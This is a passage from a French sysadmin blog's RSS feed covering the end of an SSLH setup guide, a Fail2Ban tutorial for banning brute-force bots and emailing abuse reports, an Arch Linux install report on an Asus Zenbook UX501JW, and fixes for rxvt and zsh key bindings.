<pre><code class="nohighlight"># systemctl start sslh-ipv6</code></pre>
<p>Et on peut directement tester :)</p>
<h3 id="attentionaureboot">Attention au reboot</h3>
<p>Il faut bien penser &#xE0; sauvegarder nos r&#xE8;gles <strong>iptables</strong>/<strong>ip6tables</strong> &#xE0; l&apos;aide d&apos;un <strong>iptables-persistent</strong> par exemple pour qu&apos;au reboot on ne perde pas toutes nos r&#xE8;gles.</p>
<p>En ce qui concerne les routes on peut l&apos;ajouter &#xE0; notre fichier <em>/etc/network/interfaces</em> par exemple :</p>
<pre><code class="nohighlight">iface eth0 inet dhcp
    post-up ip rule add fwmark 0x1 lookup 100
    post-up ip route add local 0.0.0.0/0 dev lo table 100
    pre-down ip rule delete fwmark 0x1 lookup 100
    pre-down ip route delete local 0.0.0.0/0 dev lo table 100</code></pre> 
<p>Et si vous avez IPV6 :</p>
<pre><code class="nohighlight">iface eth0 inet6 static
    post-up ip -6 rule add fwmark 0x1 lookup 100
    post-up ip -6 route add local ::/0 dev lo table 100
    pre-down ip -6 rule delete fwmark 0x1 lookup 100
    pre-down ip -6 route delete local ::/0 dev lo table 100</code></pre>
<p>Enfin on active les services SSLH au d&#xE9;marrage :</p>
<pre><code class="nohighlight"># systemctl enable sslh
# systemctl enable sslh-ipv6</code></pre>
<p>On reboot, on teste que nos services fonctionnent bien et le tour est jou&#xE9; :)</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Bannir et envoyer automatiquement un abuse mail avec Fail2Ban]]></title><description><![CDATA[Bannir automatiquement des bots avec Fail2Ban qui nous prévient d'un blocage à l'aide d'un email (avec whois et logs) et envoie un abuse mail en retour]]></description><link>https://blog.cpy.re/bannir-les-ip-avec-fail2ban-et-envoyer-un-abuse-mail/</link><guid isPermaLink="false">5979ed033099c73f2bf82119</guid><category><![CDATA[sysadmin]]></category><category><![CDATA[securite]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Mon, 04 Jan 2016 19:52:46 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Des robots sillonnent Internet &#xE0; la recherche de serveurs non s&#xE9;curis&#xE9;s. Il est primordial de les bannir afin de les emp&#xEA;cher de trop essayer de combinaisons de mots de passe (m&#xEA;me si ce dernier est robuste). Qui plus est &#xE7;a &#xE9;vitera de trop pourrir vos logs avec des tentatives de connexion.<br>
En bon fran&#xE7;ais, je me suis dis qu&apos;il peut &#xEA;tre int&#xE9;ressant d&apos;envoyer un mail de plainte (abuse mail) &#xE0; l&apos;aide du whois pour pr&#xE9;venir l&apos;h&#xE9;bergeur. Bon vous leurrez pas, 90% du temps vous n&apos;aurez aucune r&#xE9;ponse des types (la majorit&#xE9; venant de Chine), mais &#xE7;a peut toujours &#xEA;tre utile pour pr&#xE9;venir certains propri&#xE9;taires s&apos;&#xE9;tant fait embrigader leurs serveurs dans des r&#xE9;seaux zombies. Nous allons utiliser Fail2Ban afin d&apos;arriver &#xE0; notre but.</p>
<p>La suite du guide prendra pour r&#xE9;f&#xE9;rence une Debian Jessie, mais bien s&#xFB;r la proc&#xE9;dure peut-&#xEA;tre reproduite sur quasi chaque distribution (avec peut-&#xEA;tre quelques adaptations).</p>
<h2 id="installation">Installation</h2>
<p>Commen&#xE7;ons cette &#xE9;tape tr&#xE8;s difficile :</p>
<pre><code class="nohighlight"># apt-get install fail2ban</code></pre>
<p>On va ensuite copier le fichier de configuration <em>jail.conf</em> en <em>jail.local</em>. Il peut arriver qu&apos;apr&#xE8;s une mise &#xE0; jour de votre distribution le premier fichier soit modifi&#xE9;. Il est aussi possible de n&apos;ajouter que vos modification dans <em>jail.local</em> au lieu de tout copier ou bien d&apos;utiliser des bouts de fichiers de configurations &#xE0; mettre dans <em>jail.d</em>.<br>
J&apos;ai choisi la premi&#xE8;re car &#xE9;tant la plus simple et la plus rapide, faites bien comme vous voulez :</p>
<pre><code class="nohighlight"># cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local</code></pre>
<h2 id="configuration">Configuration</h2>
<p>La configuration de Fail2Ban est relativement simple une fois qu&apos;on a compris le concept. Il va lire les fichiers de logs que vous sp&#xE9;cifierez puis d&#xE9;tectera et bannira automatiquement les IP ayant fait un certain nombre de tentatives infructueuses (durant un certain intervalle de temps). Pour cela il utilise simplement des expressions r&#xE9;guli&#xE8;res. Vous trouverez les configurations de ces expressions r&#xE9;guli&#xE8;res par service dans le dossier <em>filter.d</em>. Vous pouvez ajouter vos propres filtres en cr&#xE9;ant simplement de nouveaux fichiers.</p>
<p>Une fois que Fail2Ban d&#xE9;tecte un certains nombre de tentatives rat&#xE9;es, il effectue une action. Ces derni&#xE8;res sont pr&#xE9;sentes dans le dossier <em>action.d</em>. Nous allons dans ce billet le configurer pour qu&apos;il effectue les actions suivantes :</p>
<ul>
<li>Bannir l&apos;IP &#xE0; l&apos;aide d&apos;iptables (possible de le configurer avec d&apos;autres firewalls)</li>
<li>Nous envoyer un mail avec les d&#xE9;tails du ban (Whois, extraits des logs...)</li>
<li>Envoyer un mail d&apos;abuse &#xE0; l&apos;aide du whois de l&apos;IP du vilain</li>
</ul>
<p>Nous avons donc dans le fichier de configuration les variables importantes suivantes :</p>
<ul>
<li><strong>bantime</strong> : le nombre de secondes durant lesquelles bannir l&apos;IP</li>
<li><strong>maxretry</strong> et <strong>findtime</strong> : le d&#xE9;lai durant lequel une IP sera bannie au bout de ce certain nombre de tentatives loup&#xE9;es</li>
<li><strong>destemail</strong> : l&apos;adresse mail &#xE0; laquelle Fail2Ban fera son rapport</li>
<li><strong>banaction</strong> : la m&#xE9;thode de ban</li>
<li><strong>action</strong> : l&apos;action &#xE0; ex&#xE9;cuter lors d&apos;un ban</li>
</ul>
<p>Puis viennent les diff&#xE9;rents services apport&#xE9;s par Fail2Ban par d&#xE9;faut. On peut voir entre autres son nom, si vous l&apos;activez ou non, le port (pour les r&#xE8;gles iptables multiports), le filtre et le fichier de log &#xE0; utiliser pour d&#xE9;tecter les tentatives.</p>
<p>Je vous laisse activer les services que vous voulez. Sp&#xE9;cifiez aussi le <strong>bantime</strong> et <strong>maxretry</strong> que vous jugez n&#xE9;cessaires et n&apos;oubliez pas d&apos;ajouter votre <strong>destemail</strong>. Nous allons utiliser <strong>iptables-multiport</strong> dans ce guide comme m&#xE9;thode de ban mais vous pouvez adapter l&apos;option selon votre pare-feu.</p>
<p>En ce qui concerne l&apos;action, nous allons utiliser <strong>%(action_mwl)s</strong> afin que Fail2Ban banisse l&apos;IP et nous envoie un email contenant le whois et les extraits des fichiers de logs concernant le ban. Nous allons ajouter apr&#xE8;s cette partie le fait d&apos;envoyer un abuse mail via le whois :</p>
<pre><code class="nohighlight">action = %(action_mwl)s sendmail-complain</code></pre>
<h2 id="crationdelaction">Cr&#xE9;ation de l&apos;action</h2>
<p>Nous allons donc cr&#xE9;er l&apos;action <em>sendmail-complain.conf</em> dans <em>/etc/fail2ban/action.d</em> &#xE0; r&#xE9;cup&#xE9;rer ici : <a href="https://gist.github.com/Chocobozzz/b19c45d0bec218dec3d5?ref=blog.cpy.re">https://gist.github.com/Chocobozzz/b19c45d0bec218dec3d5</a>. Ce dernier sera ex&#xE9;cut&#xE9; &#xE0; chaque ban d&apos;IP.</p>
<h2 id="enroute">En route</h2>
<p>Maintenant que la configuration est pr&#xEA;te vous pouvez enfin lancer Fail2Ban :</p>
<pre><code class="nohighlight"># systemctl start fail2ban</code></pre>
<p>Si tout se passe bien vous devriez recevoir les emails de mise en route des diff&#xE9;rents services que vous avez activ&#xE9;. Peu de temps apr&#xE8;s doivent arriver vos premiers rapports de ban et si tout se passe bien les h&#xE9;bergeurs doivent recevoir leur plainte abuse. :)</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[GNU/Linux sur un Asus Zenbook UX501JW]]></title><description><![CDATA[Retour d'expérience de l'installation d'une distribution GNU/Linux (ArchLinux) sur un ordinateur portable Asus Zenbook UX501JW avec remboursement de la licence Windows]]></description><link>https://blog.cpy.re/gnulinux-sur-un-asus-zenbook-ux501jw/</link><guid isPermaLink="false">5979ed043099c73f2bf82123</guid><category><![CDATA[sysadmin]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Mon, 29 Jun 2015 19:43:14 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>Lorsqu&apos;on ach&#xE8;te un nouvel ordinateur, on a toujours un peu peur de la compatibilit&#xE9; avec GNU/Linux. Du coup on cherche sur internet des retours, mais on trouve pas toujours.</p>
<p>Je vais donc en profiter pour faire un topo d&apos;une installation d&apos;un <strong>ArchLinux</strong> sur un <strong>Asus Zenbook UX501JW-cn209h</strong>.</p>
<p>Vous avez diff&#xE9;rents tests mat&#xE9;riels sur <a href="http://www.01net.com/fiche-produit/prise-main-20918/pc-portables-asus-zenbook-pro-ux501jw-cn209h/?ref=blog.cpy.re">01net</a> et <a href="http://www.lesnumeriques.com/ordinateur-portable/asus-zenbook-pro-ux501-fhd-p25469/test.html?ref=blog.cpy.re">les num&#xE9;riques</a>. Pour rappel, les principaux composants sont un <strong>i7</strong> (<strong>HD 4600</strong>), <strong>NVidia GTX 960</strong>, <strong>Qualcomm Atheros AR9462</strong> (wifi/bluetooth), d&apos;une webcam et micro, d&apos;un <strong>SSD</strong> (SanDisk) en PCI, d&apos;un HDD et d&apos;un clavier r&#xE9;tro &#xE9;clair&#xE9;.</p>
<h2 id="bootsurclusb">Boot sur cl&#xE9; USB</h2>
<p>Donc c&apos;&#xE9;tait s&#xFB;r d&apos;avance, c&apos;est de l&apos;UEFI avec secure boot activ&#xE9; par d&#xE9;faut. Il est possible de simuler un legacy bios, et de d&#xE9;sactiver le secure boot. Personnellement je suis rest&#xE9; en UEFI, Arch&apos; &#xE9;tant compatible autant ne pas compliquer les choses.<br>
Il arrive qu&apos;il y ait des soucis avec le pilote nouveau, mais on arrive &#xE0; booter sur la cl&#xE9; et &#xE0; faire son installation.</p>
<h2 id="installation">Installation</h2>
<p>Juste pour information, j&apos;ai vir&#xE9; Windows (cf la partie sur le remboursement) et partitionn&#xE9; selon le sch&#xE9;ma suivant :</p>
<ul>
<li>Sur le SSD :
<ul>
<li><em>/boot/EFI</em> : 100Mo</li>
<li><strong>LVM</strong> pour le reste qui contient <em>/</em> et <em>/home</em> avec 60GO chacun</li>
</ul>
</li>
<li>Sur le HDD
<ul>
<li><strong>LVM</strong> sur 10 Go pour le swap (raccord&#xE9; au volume du SSD)</li>
<li><strong>ext4</strong> pour le reste</li>
</ul>
</li>
</ul>
<p>Le bootloader est <strong>syslinux</strong>.<br>
La racine est chiffr&#xE9;e &#xE0; l&apos;aide d&apos;une passphrase et contient la cl&#xE9; permettant de d&#xE9;chiffrer le <em>/home</em>. Le <em>swap</em> est chiffr&#xE9; &#xE0; l&apos;aide d&apos;une cl&#xE9; al&#xE9;atoire &#xE0; chaque reboot.</p>
<p><strong>XFCE</strong> est simplement install&#xE9; avec <strong>Slim</strong>.</p>
<h2 id="premierboot">Premier boot</h2>
<h3 id="touchesfn">Touches <em>fn</em></h3>
<p>Bonne nouvelle, le clavier r&#xE9;tro &#xE9;clair&#xE9; est parfaitement g&#xE9;r&#xE9; d&apos;office. Par contre pour les autres touches Fn c&apos;est plus compliqu&#xE9;. Commen&#xE7;ons dans l&apos;ordre :</p>
<ul>
<li><em>fn1</em> (veille) : fonctionne de base</li>
<li><em>fn2</em> (mode avion) : il faut simplement mapper votre touche dans les param&#xE8;tres du clavier d&apos;XFCE avec un script d&#xE9;sactivant le wifi/bluetooth</li>
<li><em>fn3/4</em> (luminosit&#xE9; du clavier) : g&#xE9;r&#xE9;s d&apos;office</li>
<li><em>fn5/6</em> (luminosit&#xE9; de l&apos;&#xE9;cran) : il faut rajouter l&apos;option de boot <em>acpi_osi=</em> pour que le syst&#xE8;me d&apos;exploitation puisse utiliser ACPI</li>
<li><em>fn7</em> (???) : je n&apos;ai pas vraiment saisi &#xE0; quoi servait cette touche &gt;&lt;</li>
<li><em>fn8</em> (affichage) : il suffit de mapper la touche dans les param&#xE8;tres de XFCE</li>
<li><em>fn9</em> (d&#xE9;sactivation/activation du touchpad) : m&#xEA;me chose que pour <em>fn8</em></li>
<li><em>f10/f11/f12</em> (contr&#xF4;le du son) : j&apos;ai personnellement install&#xE9; <strong>alsa</strong>, <strong>pulseaudio</strong> puis les greffons XFCE permettant de manipuler pulseaudio &#xE0; savoir <strong>xfce4-pulseaudio-plugin</strong> et <strong>xfce4-volumed-pulse</strong>. Ce dernier permet de manipuler directement avec les touches <em>fn</em> le volume audio de pulse.</li>
</ul>
<h3 id="cartesgraphiques">Cartes graphiques</h3>
<p>J&apos;ai choisi d&apos;utiliser la carte Intel de base, et de lancer avec les drivers propri&#xE9;taires et <strong>Bumblebee</strong> que certaines applications avec la carte NVidia. Il faut alors charger les modules <strong>i915</strong> et <strong>bbswitch</strong> via le <em>mkinitcpio</em> et cr&#xE9;er un fichier Intel dans les confs Xorg. &#xC7;a fonctionne parfaitement. Pour information, vous pouvez monitorer vos cartes Intel et NVIdia avec <strong>intel_gpu_top</strong> et <strong>nvidia_smi</strong>.</p>
<h3 id="wifibluetooth">Wifi/Bluetooth</h3>
<p>La carte est g&#xE9;r&#xE9; par le module <strong>ath9k</strong> donc rien besoin de faire de ce c&#xF4;t&#xE9; l&#xE0; avec un noyau &gt;= 3.2. En revanche le bluetooth ne fonctionne pas. Je pense que &#xE7;a arrivera sous peu avec les prochaines versions (4.1, 4.2) de Linux (voir <a href="http://git.kernel.org/cgit/linux/kernel/git/bluetooth/bluetooth-next.git/commit/drivers/bluetooth/ath3k.c?id=0d0cef6183aec0fb6d0c9f00a09ff51ee086bbe2&amp;ref=blog.cpy.re">ce commit</a>).</p>
<p><strong>EDIT :</strong> C&apos;est finalement Linux 4.1 qui g&#xE8;re la carte :)</p>
<h3 id="camraetmicro">Cam&#xE9;ra et micro</h3>
<p>La webcam est ger&#xE9; de base avec <strong>linux-uvc</strong>. De m&#xEA;me pour le micro, je n&apos;ai pas eu de soucis.</p>
<h3 id="ventilateurs">Ventilateurs</h3>
<p>Il y a deux ventilateurs sur l&apos;ordinateur. Hors les mod&#xE8;les Zenbook n&apos;ont pas l&apos;air d&apos;&#xEA;tre reconnus par <em>lm-sensors</em>. Il est toutefois possible de modifier leur vitesse &#xE0; l&apos;aide d&apos;ACPI : <a href="https://bbs.archlinux.org/viewtopic.php?id=186684&amp;ref=blog.cpy.re">https://bbs.archlinux.org/viewtopic.php?id=186684</a>. Je vous mets <a href="http://pastebin.com/Xd86MBqT?ref=blog.cpy.re">ici</a> le script <strong>fancontrol.py</strong> adapt&#xE9; au mod&#xE8;le UX501JW. Le script en soit est plus un test pour voir si &#xE7;a fonctionne que d&apos;une r&#xE9;elle utilit&#xE9;. Mais vous pouvez ensuite facilement l&apos;adapter &#xE0; votre envie.<br>
Il se peut que l&apos;ordinateur r&#xE9;duise les fr&#xE9;quences de son CPU car ses coeurs atteignent facilement les 80&#xB0; lors de compilations en <em>-j 8</em> par exemple. Par contre je n&apos;ai pas l&apos;impression qu&apos;&#xE0; ce moment l&#xE0; les ventilateurs soient &#xE0; 100%. Du coup &#xE7;a peut &#xEA;tre int&#xE9;ressant de lancer le script afin de mettre les mettre &#xE0; fond et d&apos;&#xE9;viter le throttling.</p>
<h2 id="remboursementwindows">Remboursement Windows</h2>
<p>La proc&#xE9;dure de remboursement de Windows chez Asus est franchement simple et pas trop p&#xE9;nible. Il suffit d&apos;envoyer un email &#xE0; <em><a href="mailto:acf_coa@asus.com?ref=blog.cpy.re">acf_coa@asus.com</a></em> et on vous donne la proc&#xE9;dure. On donne ensuite les informations concernant le produit achet&#xE9; (num&#xE9;ro de s&#xE9;rie, diff&#xE9;rents scans etc). C&apos;est un peu lourd mais en 3 emails on vous rembourse normalement la licence qui est &#xE0; 42&#x20AC; pour un Windows 8 de base. C&apos;est franchement agr&#xE9;able.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Résoudre les problèmes entre rxvt et zsh]]></title><description><![CDATA[Astuces afin de faire cohabiter rxvt et ZSH et avoir un shell puissant associé à un émulateur de terminal très réactif]]></description><link>https://blog.cpy.re/urxvt-et-zsh/</link><guid isPermaLink="false">5979ed033099c73f2bf8211e</guid><category><![CDATA[rxvt]]></category><category><![CDATA[zsh]]></category><dc:creator><![CDATA[Chocobozzz]]></dc:creator><pubDate>Thu, 19 Mar 2015 20:13:51 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p><em>Ce billet a &#xE9;t&#xE9; initialement publi&#xE9; l&apos;ann&#xE9;e derni&#xE8;re sur <a href="http://blog.sandrocazzaniga.fr/?ref=blog.cpy.re">http://blog.sandrocazzaniga.fr</a></em></p>
<p>J&apos;utilise comme &#xE9;mulateur de terminal <strong>rxvt</strong> qui peut fonctionner en mode daemon/client ce qui peut le rendre tr&#xE8;s rapide. De plus il est fortement configurable et consomme peu. Seulement j&apos;utilise <strong>ZSH</strong> comme bourne shell et j&apos;ai rencontr&#xE9; quelques difficult&#xE9;s &#xE0; faire cohabiter les deux (sous ArchLinux).</p>
<p>Le principal probl&#xE8;me &#xE9;tait qu&apos;un paquet de touches n&apos;&#xE9;tait pas reconnu notamment celui pour aller en fin de ligne, utiliser la recherche inverse, supprimer le caract&#xE8;re via la touche suppr etc.</p>
<p>Il vous faut pour cel&#xE0; ajouter ces commandes dans votre <em>.zshrc</em> :</p>
<pre>typeset -g -A key

bindkey -e
bindkey &quot;^[[3~&quot; delete-char
bindkey &quot;^R&quot; history-incremental-search-backward
bindkey &quot;^[[1;5D&quot; emacs-backward-word
bindkey &quot;^[[1;5C&quot; emacs-forward-word
bindkey &quot;^[[5~&quot; up-line-or-history
bindkey &quot;^[[6~&quot; down-line-or-history
bindkey &quot;^[[7~&quot; beginning-of-line
bindkey &quot;^[[8~&quot; end-of-line
</pre>
<p>Vous devrez peut-&#xEA;tre adapter les codes. Pour simplement savoir quelle touche correspond &#xE0; quelle code, ex&#xE9;cutez la commande cat sans argument et tapez la touche qui vous int&#xE9;resse. Dans mon cas pour la touche <em>Ctrl-Fleche + droite</em> :</p>
<pre><code>% cat 
^[[1;5C</code></pre>
<p>J&apos;ai longtemps eu encore un probl&#xE8;me, le forward/backward word ne fonctionnait pas. Lorque j&apos;&#xE9;xecutais la combinaison de touche <em>Ctrl+fleche droite/gauche</em> rxvt scintillait. J&apos;ai enfin r&#xE9;solu mon probl&#xE8;me en rajoutant au fichier de conf d&apos;urxvt (<em>~/.Xdefaults</em>) les deux lignes suivantes :</p>
<pre><code>URxvt.keysym.C-Right : \033[1;5C
URxvt.keysym.C-Left : \033[1;5D</code></pre>
<p><strong>EDIT:</strong> Apr&#xE8;s mise &#xE0; jour vers la version 9.21 ce &quot;hack&quot; ne fonctionnait plus. Si vous utilisez le plugin tabbed avec urxvt, et que vous voulez quand m&#xEA;me avoir le backward/forward word il vous faudra supprimer le bloc ligne (environ) 370 du fichier <em>/usr/lib/urxvt/perl/tabbed</em>. En fait tabbed code en dur l&apos;utilisation de <em>Ctrl+fleche droite/gauche</em> pour d&#xE9;placer les &quot;tab&quot;. Du coup j&apos;ai pas trouv&#xE9; d&apos;autre moyen d&apos;outrepasser &#xE7;a.</p>
<p>Enfin, je voulais scroller via <em>Shift+PageUp/Down</em>. Il faut encore rajouter dans le fichier de conf d&apos;rxvt :</p>
<pre><code>URxvt.keysym.Shift-PageUp: command:\033]720;1\007
URxvt.keysym.Shift-PageDown: command:\033]721;1\007</code></pre>
<p>Et voil&#xE0;, les pageUp/Down, d&#xE9;but de ligne, fin de ligne, la touche suppr, la recherche dans l&apos;historique, les backward/forward word devraient maintenant fonctionner dans votre terminal pr&#xE9;f&#xE9;r&#xE9;.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>